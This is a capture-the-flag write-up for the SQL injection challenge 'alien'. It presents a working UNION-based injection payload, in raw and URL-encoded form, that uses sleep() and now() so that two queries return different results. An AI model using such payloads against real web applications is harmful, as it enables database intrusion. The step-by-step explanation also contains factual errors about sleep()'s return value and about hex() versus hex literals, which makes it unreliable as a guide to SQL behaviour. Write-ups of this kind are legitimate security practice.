alien
We are provided with the SQL queries:
SELECT id FROM prob_alien WHERE no={$_GET[no]}
SELECT id FROM prob_alien WHERE no='{$_GET[no]}'
In order to solve this challenge, we have to pass the following checks:
$r = mysqli_fetch_array(mysqli_query($db,$query));
if($r['id'] !== "admin") exit("sandbox1");
$r = mysqli_fetch_array(mysqli_query($db,$query));
if($r['id'] === "admin") exit("sandbox2");
$r = mysqli_fetch_array(mysqli_query($db,$query2));
if($r['id'] === "admin") exit("sandbox");
$r = mysqli_fetch_array(mysqli_query($db,$query2)); if($r['id'] === "admin") solve("alien");
- The first query checks if the fetched
idis not"admin". If true, it exits. - The second query checks if the fetched
idis"admin". If true, it exits. - The third query checks if the fetched
idis"admin". If true, it exits. - The fourth query checks if the fetched
idis"admin". If true, it calls a functionsolve("alien").
In order to solve this challenge, we need to create a self-modifying query.
Self-modifying query
1 UNION SELECT concat(lower(hex(10+(!sleep(1)&&now()%2=1))),0x646d696e)%23' UNION SELECT concat(lower(hex(9+(!sleep(1)&&now()%2=1))), 0x646d696e)%23
(!sleep(1) && now() % 2 == 1):!sleep(1)effectively becomesFalseor0since after 1 second, thesleepfunction returns. Otherwise it isTrueor1.now() % 2 == 1checks if the current time in seconds is an odd number.- Combine these using the
&&(logical AND), which evaluates toFalseor0if!sleep(1)is0. Otherwise it results inTrueor1.
hex(10+(!sleep(1)&&now()%2=1)):- If result of
sleepis1,hex(10+1)results inb. - If result of
sleepis0,hex(10+0)results ina.
- If result of
lower(hex(10+(!sleep(1)&&now()%2=1))):- Converts the entire string to lowercase.
concat(lower(hex(10+(!sleep(1)&&now()%2=1))),0x646d696e)- Concatenates the string to
dmin. - If result of
sleepis1,concat(0x11,0x646d696e)results inbdmin. - If result of
sleepis0,concat(0x10,0x646d696e)results inadmin.
- Concatenates the string to
If we provide the following URI parameter:
?no=1%20UNION%20SELECT%20concat(lower(hex(10%2b(!sleep(1)%26%26now()%2=1))),%200x646d696e)%23%27%20UNION%20SELECT%20concat(lower(hex(9%2b(!sleep(1)%26%26now()%2=1))),%200x646d696e)%23%20
The resultant first query becomes:
SELECT id FROM prob_alien WHERE no=1 UNION SELECT concat(lower(hex(10+(!sleep(1)&&now()%2=1))),0x646d696e)#' UNION SELECT concat(lower(hex(9+(!sleep(1)&&now()%2=1))), 0x646d696e)%23